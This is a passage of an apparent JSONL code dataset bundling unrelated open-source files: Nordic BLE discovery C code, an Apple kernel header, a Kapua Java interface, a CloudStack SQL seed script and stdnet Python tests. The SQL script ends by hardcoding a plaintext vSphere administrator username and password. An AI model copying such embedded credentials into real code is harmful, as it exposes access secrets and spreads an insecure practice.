discovery_complete_evt_trigger(p_db_discovery,\n                                           true,\n                                           p_ble_gattc_evt->conn_handle);\n\n            on_srv_disc_completion(p_db_discovery,\n                                   p_ble_gattc_evt->conn_handle);\n        }\n    }\n}\n\n\n/**@brief     Function for handling descriptor discovery response.\n *\n * @param[in] p_db_discovery    Pointer to the DB Discovery structure.\n * @param[in] p_ble_gattc_evt   Pointer to the GATT Client event.\n */\nstatic void on_descriptor_discovery_rsp(ble_db_discovery_t * const    p_db_discovery,\n                                        const ble_gattc_evt_t * const p_ble_gattc_evt)\n{\n    const ble_gattc_evt_desc_disc_rsp_t * p_desc_disc_rsp_evt;\n    ble_gatt_db_srv_t                   * p_srv_being_discovered;\n\n    if (p_ble_gattc_evt->conn_handle != p_db_discovery->conn_handle)\n    {\n        return;\n    }\n\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    p_desc_disc_rsp_evt = &(p_ble_gattc_evt->params.desc_disc_rsp);\n\n    ble_gatt_db_char_t * p_char_being_discovered =\n        &(p_srv_being_discovered->charateristics[p_db_discovery->curr_char_ind]);\n\n    if (p_ble_gattc_evt->gatt_status == BLE_GATT_STATUS_SUCCESS)\n    {\n        // The descriptor was found at the peer.\n        // If the descriptor was a CCCD, then the cccd_handle needs to be populated.\n\n        uint32_t i;\n\n        // Loop through all the descriptors to find the CCCD.\n        for (i = 0; i < p_desc_disc_rsp_evt->count; i++)\n        {\n            if (\n                p_desc_disc_rsp_evt->descs[i].uuid.uuid ==\n                BLE_UUID_DESCRIPTOR_CLIENT_CHAR_CONFIG\n               )\n            {\n                p_char_being_discovered->cccd_handle = p_desc_disc_rsp_evt->descs[i].handle;\n\n                break;\n            }\n        }\n    }\n\n    bool raise_discov_complete = false;\n\n    if ((p_db_discovery->curr_char_ind + 1) == p_srv_being_discovered->char_count)\n    {\n        // No more characteristics and descriptors need to be discovered. Discovery is complete.\n        // Send a discovery complete event to the user application.\n\n        raise_discov_complete = true;\n    }\n    else\n    {\n        // Begin discovery of descriptors for the next characteristic.\n        uint32_t err_code;\n\n        p_db_discovery->curr_char_ind++;\n\n        err_code = descriptors_discover(p_db_discovery,\n                                        &raise_discov_complete,\n                                        p_ble_gattc_evt->conn_handle);\n\n        if (err_code != NRF_SUCCESS)\n        {\n            p_db_discovery->discovery_in_progress = false;\n\n            // Error with discovering the service.\n            // Indicate the error to the registered user application.\n            discovery_error_evt_trigger(p_db_discovery,\n                                        err_code,\n                                        p_ble_gattc_evt->conn_handle);\n\n            m_pending_user_evts[0].evt.evt_type    = BLE_DB_DISCOVERY_AVAILABLE;\n            m_pending_user_evts[0].evt.conn_handle = p_ble_gattc_evt->conn_handle;\n\n            return;\n        }\n    }\n\n    if (raise_discov_complete)\n    {\n        DB_LOG(\"[DB]: Discovery of service with UUID 0x%x completed with success for Connection\"\n               \"handle %d\\r\\n\", p_srv_being_discovered->srv_uuid.uuid,\n               p_ble_gattc_evt->conn_handle);\n\n        discovery_complete_evt_trigger(p_db_discovery,\n                                       true,\n                                       p_ble_gattc_evt->conn_handle);\n\n        on_srv_disc_completion(p_db_discovery,\n                               p_ble_gattc_evt->conn_handle);\n    }\n}\n\n\nuint32_t ble_db_discovery_init(const ble_db_discovery_evt_handler_t evt_handler)\n{\n    uint32_t err_code = NRF_SUCCESS;\n    VERIFY_PARAM_NOT_NULL(evt_handler);\n\n    m_num_of_handlers_reg      = 0;\n    m_initialized              = true;\n    m_pending_usr_evt_index    = 0;\n    m_evt_handler              = evt_handler;\n\n    return err_code;\n\n}\n\n\nuint32_t ble_db_discovery_close()\n{\n    m_num_of_handlers_reg      = 0;\n    m_initialized              = false;\n    m_pending_usr_evt_index    = 0;\n\n    return NRF_SUCCESS;\n}\n\n\nuint32_t ble_db_discovery_evt_register(const ble_uuid_t * const p_uuid)\n{\n    VERIFY_PARAM_NOT_NULL(p_uuid);\n    VERIFY_MODULE_INITIALIZED();\n\n    return registered_handler_set(p_uuid, m_evt_handler);\n}\n\n\nuint32_t ble_db_discovery_start(ble_db_discovery_t * const p_db_discovery,\n                                uint16_t                   conn_handle)\n{\n    VERIFY_PARAM_NOT_NULL(p_db_discovery);\n    VERIFY_MODULE_INITIALIZED();\n\n    if (m_num_of_handlers_reg == 0)\n    {\n        // No user modules were registered. There are no services to discover.\n        return NRF_ERROR_INVALID_STATE;\n    }\n\n    if (p_db_discovery->discovery_in_progress)\n    {\n        return NRF_ERROR_BUSY;\n    }\n\n    p_db_discovery->conn_handle = conn_handle;\n    ble_gatt_db_srv_t * p_srv_being_discovered;\n\n    m_pending_usr_evt_index   = 0;\n\n    p_db_discovery->discoveries_count = 0;\n    p_db_discovery->curr_srv_ind = 0;\n\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    p_srv_being_discovered->srv_uuid = m_registered_handlers[p_db_discovery->curr_srv_ind];\n\n    DB_LOG(\"[DB]: Starting discovery of service with UUID 0x%x for Connection handle %d\\r\\n\",\n           p_srv_being_discovered->srv_uuid.uuid, conn_handle);\n\n    uint32_t err_code;\n\n    err_code = sd_ble_gattc_primary_services_discover(conn_handle,\n                                                      SRV_DISC_START_HANDLE,\n                                                      &(p_srv_being_discovered->srv_uuid));\n    VERIFY_SUCCESS(err_code);\n    p_db_discovery->discovery_in_progress = true;\n\n    return NRF_SUCCESS;\n}\n\n\n/**@brief     Function for handling disconnected event.\n *\n * @param[in] p_db_discovery    Pointer to the DB Discovery structure.\n * @param[in] p_ble_gattc_evt   Pointer to the GAP event.\n */\nstatic void on_disconnected(ble_db_discovery_t * const  p_db_discovery,\n                            const ble_gap_evt_t * const p_evt)\n{\n    if (p_evt->conn_handle == p_db_discovery->conn_handle)\n    {\n        p_db_discovery->discovery_in_progress = false;\n    }\n}\n\n\nvoid ble_db_discovery_on_ble_evt(ble_db_discovery_t * const p_db_discovery,\n                                 const ble_evt_t * const    p_ble_evt)\n{\n    VERIFY_PARAM_NOT_NULL_VOID(p_db_discovery);\n    VERIFY_PARAM_NOT_NULL_VOID(p_ble_evt);\n    VERIFY_MODULE_INITIALIZED_VOID();\n\n    switch (p_ble_evt->header.evt_id)\n    {\n        case BLE_GATTC_EVT_PRIM_SRVC_DISC_RSP:\n            on_primary_srv_discovery_rsp(p_db_discovery, &(p_ble_evt->evt.gattc_evt));\n            break;\n\n        case BLE_GATTC_EVT_CHAR_DISC_RSP:\n            on_characteristic_discovery_rsp(p_db_discovery, &(p_ble_evt->evt.gattc_evt));\n            break;\n\n        case BLE_GATTC_EVT_DESC_DISC_RSP:\n            on_descriptor_discovery_rsp(p_db_discovery, &(p_ble_evt->evt.gattc_evt));\n            break;\n\n        case BLE_GAP_EVT_DISCONNECTED:\n            on_disconnected(p_db_discovery, &(p_ble_evt->evt.gap_evt));\n            break;\n\n        default:\n            break;\n    }\n}\n"}
+{"text": "/*\n * Copyright (c) 2007 Apple Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n * \n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n * \n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n * \n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n * \n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n#ifdef\tKERNEL_PRIVATE\n\n#ifndef _MACHINE_CPU_AFFINITY_H\n#define _MACHINE_CPU_AFFINITY_H\n\n#if defined (__i386__) || defined (__x86_64__)\n#include \"i386/cpu_affinity.h\"\n#elif defined (__arm__) || defined (__arm64__)\n#include \"arm/cpu_affinity.h\"\n#else\n#error architecture not supported\n#endif\n\n#endif /* _MACHINE_CPU_AFFINITY_H */\n\n#endif\t/* KERNEL_PRIVATE */\n"}
+{"text": "/*******************************************************************************\n * Copyright (c) 2016, 2020 Eurotech and/or its affiliates and others\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the Eclipse Public License v1.0\n * which accompanies this distribution, and is available at\n * http://www.eclipse.org/legal/epl-v10.html\n *\n * Contributors:\n *     Eurotech - initial API and implementation\n *******************************************************************************/\npackage org.eclipse.kapua.model.config.metatype;\n\nimport javax.xml.bind.annotation.XmlAccessType;\nimport javax.xml.bind.annotation.XmlAccessorType;\nimport javax.xml.bind.annotation.XmlAnyAttribute;\nimport javax.xml.bind.annotation.XmlAnyElement;\nimport javax.xml.bind.annotation.XmlAttribute;\nimport javax.xml.bind.annotation.XmlElement;\nimport javax.xml.bind.annotation.XmlRootElement;\nimport javax.xml.bind.annotation.XmlType;\nimport javax.xml.namespace.QName;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 
    \n * Java class for Tmetadata complex type.\n * 
    \n * The following schema fragment specifies the expected content contained within this class.\n *\n * 
    \n * <complexType name=\"Tmetadata\">\n *   <complexContent>\n *     <restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\n *       <sequence>\n *         <element name=\"OCD\" type=\"{http://www.osgi.org/xmlns/metatype/v1.2.0}Tocd\" maxOccurs=\"unbounded\" minOccurs=\"0\"/>\n *         <element name=\"Designate\" type=\"{http://www.osgi.org/xmlns/metatype/v1.2.0}Tdesignate\" maxOccurs=\"unbounded\" minOccurs=\"0\"/>\n *         <any processContents='lax' namespace='##other' maxOccurs=\"unbounded\" minOccurs=\"0\"/>\n *       </sequence>\n *       <attribute name=\"localization\" type=\"{http://www.w3.org/2001/XMLSchema}string\" />\n *       <anyAttribute/>\n *     </restriction>\n *   </complexContent>\n * </complexType>\n * 
    \n */\n@XmlRootElement(name = \"MetaData\", namespace = \"http://www.osgi.org/xmlns/metatype/v1.2.0\")\n@XmlAccessorType(XmlAccessType.PROPERTY)\n@XmlType(name = \"Tmetadata\", propOrder = {\n        \"OCD\",\n        \"designate\",\n        \"any\",\n        \"localization\",\n        \"otherAttributes\"\n}, factoryClass = MetatypeXmlRegistry.class, factoryMethod = \"newKapuaTmetadata\")\npublic interface KapuaTmetadata {\n\n    /**\n     * Gets the value of the ocd property.\n     * 
    \n     * This accessor method returns a reference to the live list,\n     * not a snapshot. Therefore any modification you make to the\n     * returned list will be present inside the JAXB object.\n     * This is why there is not a set method for the ocd property.\n     * 
    \n     * For example, to add a new item, do as follows:\n     * 
    \n     *    getOCD().add(newItem);\n     * 
    \n     */\n    @XmlElement(name = \"OCD\", namespace = \"http://www.osgi.org/xmlns/metatype/v1.2.0\")\n    List getOCD();\n\n    void setOCD(List ocd);\n\n    /**\n     * Gets the value of the designate property.\n     * 
    \n     * This accessor method returns a reference to the live list,\n     * not a snapshot. Therefore any modification you make to the\n     * returned list will be present inside the JAXB object.\n     * This is why there is not a set method for the designate property.\n     * 
    \n     * For example, to add a new item, do as follows:\n     * 
    \n     *    getDesignate().add(newItem);\n     * 
    \n     */\n    @XmlElement(name = \"Designate\", namespace = \"http://www.osgi.org/xmlns/metatype/v1.2.0\")\n    List getDesignate();\n\n    void setDesignate(List designate);\n\n    /**\n     * Gets the value of the any property.\n     * 
    \n     * This accessor method returns a reference to the live list,\n     * not a snapshot. Therefore any modification you make to the\n     * returned list will be present inside the JAXB object.\n     * This is why there is not a set method for the any property.\n     * 
    \n     * For example, to add a new item, do as follows:\n     * 
    \n     *    getAny().add(newItem);\n     * 
    \n     */\n    @XmlAnyElement(lax = true)\n    List getAny();\n\n    void setAny(List any);\n\n    /**\n     * Gets the value of the localization property.\n     *\n     * @return possible object is {@link String }\n     */\n    @XmlAttribute(name = \"localization\")\n    String getLocalization();\n\n    /**\n     * Sets the value of the localization property.\n     *\n     * @param value allowed object is {@link String }\n     */\n    void setLocalization(String value);\n\n    /**\n     * Gets a map that contains attributes that aren't bound to any typed property on this class.\n     * 
    \n     * the map is keyed by the name of the attribute and\n     * the value is the string value of the attribute.\n     * 
    \n     * the map returned by this method is live, and you can add new attribute\n     * by updating the map directly. Because of this design, there's no setter.\n     *\n     * @return always non-null\n     */\n    @XmlAnyAttribute\n    Map getOtherAttributes();\n\n    void setOtherAttributes(Map otherAttributes);\n}\n"}
+{"text": "# Copyright 2012 Citrix Systems, Inc. Licensed under the\n# Apache License, Version 2.0 (the \"License\"); you may not use this\n# file except in compliance with the License.  Citrix Systems, Inc.\n# reserves all rights not expressly granted by the License.\n# You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n# Automatically generated by addcopyright.py at 04/03/2012\nINSERT INTO `cloud`.`vm_template` (id, unique_name, name, public, created, type, hvm, bits, account_id, url, checksum, enable_password, display_text,  format, guest_os_id, featured, cross_zones)\r\n    VALUES (2, 'blank', 'BlankVM', 1, now(), 'ext3', 0, 32, 1, 'http://nfs1.lab.vmops.com/templates/vmware/blankvm.tar.bz2', '3eff7ce3d25cf9433efde8b245c63fcb', 0, 'BlankVM', 'VMDK', 47, 1, 1);\r\nINSERT INTO `cloud`.`vm_template` (id, unique_name, name, public, created, type, hvm, bits, account_id, url, checksum, enable_password, display_text,  format, guest_os_id, featured, cross_zones)\r\n    VALUES (3, 'winxpsp3', 'WindowsXP-SP3', 1, now(), 'ntfs', 0, 32, 1, 'http://nfs1.lab.vmops.com/templates/vmware/winxpsp3.tar.bz2', '385e67d17a2cb3795bd0b0fb7f88dc5e', 0, 'WindowsXP-SP3', 'VMDK', 16, 1, 1);\r\n\r\nINSERT INTO `cloud`.`guest_os_category` (id, name) VALUES (1, 'Windows');\r\nINSERT INTO `cloud`.`guest_os_category` (id, name) VALUES (2, 'Linux');\r\nINSERT INTO `cloud`.`guest_os_category` (id, name) VALUES (3, 'Novell Netware');\r\nINSERT INTO `cloud`.`guest_os_category` (id, name) VALUES (4, 'Solaris');\r\nINSERT INTO `cloud`.`guest_os_category` (id, name) VALUES (5, 'Other');\r\n\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (1, 1, 'Microsoft Windows 7(32-bit)', 'Microsoft Windows 7(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (2, 1, 'Microsoft Windows 7(64-bit)', 'Microsoft Windows 7(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (3, 1, 'Microsoft Windows Server 2008 R2(64-bit)', 'Microsoft Windows Server 2008 R2(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (4, 1, 'Microsoft Windows Server 2008(32-bit)', 'Microsoft Windows Server 2008(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (5, 1, 'Microsoft Windows Server 2008(64-bit)', 'Windows Windows Server 2008(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (6, 1, 'Microsoft Windows Server 2003, Enterprise Edition (32-bit)', 'Microsoft Windows Server 2003, Enterprise Edition (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (7, 1, 'Microsoft Windows Server 2003, Enterprise Edition (64-bit)', 'Microsoft Windows Server 2003, Enterprise Edition (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (8, 1, 'Microsoft Windows Server 2003, Datacenter Edition (32-bit)', 'Microsoft Windows Server 2003, Datacenter Edition (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (9, 1, 'Microsoft Windows Server 2003, Datacenter Edition (64-bit)', 'Microsoft Windows Server 2003, Datacenter Edition (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (10, 1, 'Microsoft Windows Server 2003, Standard Edition (32-bit)', 'Microsoft Windows Server 2003, Standard Edition (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (11, 1, 'Microsoft Windows Server 2003, Standard Edition (64-bit)', 'Microsoft Windows Server 2003, Standard Edition (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (12, 1, 'Microsoft Windows Server 2003, Web Edition', 'Microsoft Windows Server 2003, Web Edition');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (13, 1, 'Microsoft Small Bussiness Server 2003', 'Microsoft Small Bussiness Server 2003');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (14, 1, 'Microsoft Windows Vista (32-bit)', 'Microsoft Windows Vista (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (15, 1, 'Microsoft Windows Vista (64-bit)', 'Microsoft Windows Vista (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (16, 1, 'Microsoft Windows XP Professional (32-bit)', 'Microsoft Windows XP Professional (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (17, 1, 'Microsoft Windows XP Professional (64-bit)', 'Microsoft Windows XP Professional (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (18, 1, 'Microsoft Windows 2000 Advanced Server', 'Microsoft Windows 2000 Advanced Server');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (19, 1, 'Microsoft Windows 2000 Server', 'Microsoft Windows 2000 Server');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (20, 1, 'Microsoft Windows 2000 Professional', 'Microsoft Windows 2000 Professional');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (21, 1, 'Microsoft Windows 98', 'Microsoft Windows 98');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (22, 1, 'Microsoft Windows 95', 'Microsoft Windows 95');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (23, 1, 'Microsoft Windows NT 4', 'Microsoft Windows NT 4');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (24, 1, 'Microsoft Windows 3.1', 'Microsoft Windows 3.1');\r\n\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (25, 2, 'Red Hat Enterprise Linux 5(32-bit)', 'Red Hat Enterprise Linux 5(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (26, 2, 'Red Hat Enterprise Linux 5(64-bit)', 'Red Hat Enterprise Linux 5(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (27, 2, 'Red Hat Enterprise Linux 4(32-bit)', 'Red Hat Enterprise Linux 4(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (28, 2, 'Red Hat Enterprise Linux 4(64-bit)', 'Red Hat Enterprise Linux 4(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (29, 2, 'Red Hat Enterprise Linux 3(32-bit)', 'Red Hat Enterprise Linux 3(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (30, 2, 'Red Hat Enterprise Linux 3(64-bit)', 'Red Hat Enterprise Linux 3(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (31, 2, 'Red Hat Enterprise Linux 2', 'Red Hat Enterprise Linux 2');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (32, 2, 'Suse Linux Enterprise 11(32-bit)', 'Suse Linux Enterprise 11(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (33, 2, 'Suse Linux Enterprise 11(64-bit)', 'Suse Linux Enterprise 11(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (34, 2, 'Suse Linux Enterprise 10(32-bit)', 'Suse Linux Enterprise 10(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (35, 2, 'Suse Linux Enterprise 10(64-bit)', 'Suse Linux Enterprise 10(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (36, 2, 'Suse Linux Enterprise 8/9(32-bit)', 'Suse Linux Enterprise 8/9(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (37, 2, 'Suse Linux Enterprise 8/9(64-bit)', 'Suse Linux Enterprise 8/9(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (38, 2, 'Open Enterprise Server', 'Open Enterprise Server');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (39, 2, 'Asianux 3(32-bit)', 'Asianux 3(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (40, 2, 'Asianux 3(64-bit)', 'Asianux 3(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (41, 2, 'Debian GNU/Linux 5(32-bit)', 'Debian GNU/Linux 5(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (42, 2, 'Debian GNU/Linux 5(64-bit)', 'Debian GNU/Linux 5(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (43, 2, 'Debian GNU/Linux 4(32-bit)', 'Debian GNU/Linux 4(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (44, 2, 'Debian GNU/Linux 4(64-bit)', 'Debian GNU/Linux 4(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (45, 2, 'Ubuntu Linux (32-bit)', 'Ubuntu Linux (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (46, 2, 'Ubuntu Linux (64-bit)', 'Ubuntu Linux (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (47, 2, 'Other 2.6x Linux (32-bit)', 'Other 2.6x Linux (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (48, 2, 'Other 2.6x Linux (64-bit)', 'Other 2.6x Linux (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (49, 2, 'Other Linux (32-bit)', 'Other Linux (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (50, 2, 'Other Linux (64-bit)', 'Other Linux (64-bit)');\r\n\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (51, 3, 'Novell Netware 6.x', 'Novell Netware 6.x');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (52, 3, 'Novell Netware 5.1', 'Novell Netware 5.1');\r\n\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (53, 4, 'Sun Solaris 10(32-bit)', 'Sun Solaris 10(32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (54, 4, 'Sun Solaris 10(64-bit)', 'Sun Solaris 10(64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (55, 4, 'Sun Solaris 9(Experimental)', 'Sun Solaris 9(Experimental)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (56, 4, 'Sun Solaris 8(Experimental)', 'Sun Solaris 8(Experimental)');\r\n\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (57, 5, 'FreeBSD (32-bit)', 'FreeBSD (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (58, 5, 'FreeBSD (64-bit)', 'FreeBSD (64-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (59, 5, 'OS/2', 'OS/2');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (60, 5, 'SCO OpenServer 5', 'SCO OpenServer 5');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (61, 5, 'SCO UnixWare 7', 'SCO UnixWare 7');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (62, 5, 'DOS', 'DOS');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (63, 5, 'Other (32-bit)', 'Other (32-bit)');\r\nINSERT INTO `cloud`.`guest_os` (id, category_id, name, display_name) VALUES (64, 5, 'Other (64-bit)', 'Other (64-bit)');\r\n\r\n\r\n-- temporarily added for vmware, will be moved when vmware support is fully in-place\r\nINSERT INTO `cloud`.`host_master`(`type`, `service_address`, `admin`, `password`) VALUES('VSphere', 'vsphere-1.lab.vmops.com', 'Administrator', 'Suite219');\r\n"}
+{"text": "require('../../modules/web.dom.iterable');\nmodule.exports = require('../../modules/_core').Array.values;"}
+{"text": "import datetime\nimport logging\nfrom random import randint\n\nfrom stdnet import QuerySetError\nfrom stdnet.utils import test\n\nfrom examples.models import Instrument, Fund, Position, PortfolioView,\\\n                             UserDefaultView\nfrom examples.data import finance_data, INSTS_TYPES, CCYS_TYPES\n\n\nclass TestFinanceApplication(test.TestWrite):\n    data_cls = finance_data\n    models = (Instrument, Fund, Position)\n\n    def testGetObject(self):\n        '''Test get method for id and unique field'''\n        session = yield self.data.create(self)\n        query = session.query(Instrument)\n        obj = yield query.get(id=2)\n        self.assertEqual(obj.id, 2)\n        self.assertTrue(obj.name)\n        obj2 = yield query.get(name=obj.name)\n        self.assertEqual(obj, obj2)\n\n    def testLen(self):\n        '''Simply test len of objects greater than zero'''\n        session = yield self.data.create(self)\n        objs = yield session.query(Instrument).all()\n        self.assertTrue(len(objs) > 0)\n\n    def testFilter(self):\n        '''Test filtering on a model without foreign keys'''\n        yield self.data.create(self)\n        session = self.session()\n        query = session.query(Instrument)\n        self.async.assertRaises(QuerySetError, query.get, type='equity')\n        tot = 0\n        for t in INSTS_TYPES:\n            fs = query.filter(type=t)\n            all = yield fs.all()\n            count = {}\n            for f in all:\n                count[f.ccy] = count.get(f.ccy, 0) + 1\n            for c in CCYS_TYPES:\n                x = count.get(c,0)\n                objs = yield fs.filter(ccy=c).all()\n                y = 0\n                for obj in objs:\n                    y += 1\n                    tot += 1\n                    self.assertEqual(obj.type, t)\n                    self.assertEqual(obj.ccy, c)\n                self.assertEqual(x,y)\n        all = query.all()\n        self.assertEqual(tot, len(all))\n\n    def testValidation(self):\n        pos = Position(size=10)\n        self.assertFalse(pos.is_valid())\n        self.assertEqual(len(pos._dbdata['errors']),3)\n        self.assertEqual(len(pos._dbdata['cleaned_data']),1)\n        self.assertTrue('size' in pos._dbdata['cleaned_data'])\n\n    def testForeignKey(self):\n        '''Test filtering with foreignkeys'''\n        session = yield self.data.makePositions(self)\n        query = session.query(Position).load_related('instrument').load_related('fund')\n        #\n        positions = yield query.all()\n        self.assertTrue(positions)\n        #\n        multi = []\n        for p in positions:\n            self.assertTrue(isinstance(p.instrument, Instrument))\n            self.assertTrue(isinstance(p.fund, Fund))\n            multi.append(query.filter(instrument=p.instrument, fund=p.fund).all())\n        multi = yield self.multi_async(multi)\n        for p, pos in zip(positions, multi):\n            self.assertTrue(p in pos)\n        #\n        # Testing\n        total_positions = len(positions)\n        totp = 0\n        multi = []\n        instruments = yield session.query(Instrument).all()\n        #\n        for instrument in instruments:\n            multi.append(instrument.positions.query().load_related('instrument').all())\n        multi = yield self.multi_async(multi)\n        #\n        for instrument, pos in zip(instruments, multi):\n            for p in pos:\n                self.assertTrue(isinstance(p, Position))\n                self.assertEqual(p.instrument, instrument)\n            totp += len(pos)\n        #\n        self.assertEqual(total_positions, totp)\n\n    def testRelatedManagerFilter(self):\n        session = yield self.data.makePositions(self)\n        instruments = session.query(Instrument)\n        for instrument in instruments:\n            positions = instrument.positions.query()\n            funds = {}\n            flist = []\n            for pos in positions:\n                fund = pos.fund\n                n    = funds.get(fund.id,0) + 1\n                funds[fund.id] = n\n                if n == 1:\n                    flist.append(fund)\n            for fund in flist:\n                positions = instrument.positions.filter(fund = fund)\n                self.assertEqual(len(positions),funds[fund.id])\n\n    def testDeleteSimple(self):\n        '''Test delete on models without related models'''\n        session = yield self.data.create(self)\n        instruments = session.query(Instrument)\n        funds = session.query(Fund)\n        self.assertTrue(instruments.count())\n        self.assertTrue(funds.count())\n        instruments.delete()\n        funds.delete()\n        self.assertFalse(session.query(Instrument).count())\n        self.assertFalse(session.query(Fund).count())\n\n    def testDelete(self):\n        '''Test delete on models with related models'''\n        # Create Positions which hold foreign keys to Instruments\n        session = yield self.data.makePositions(self)\n        instruments = session.query(Instrument)\n        positions = session.query(Position)\n        self.assertTrue(instruments.count())\n        self.assertTrue(positions.count())\n        instruments.delete()\n        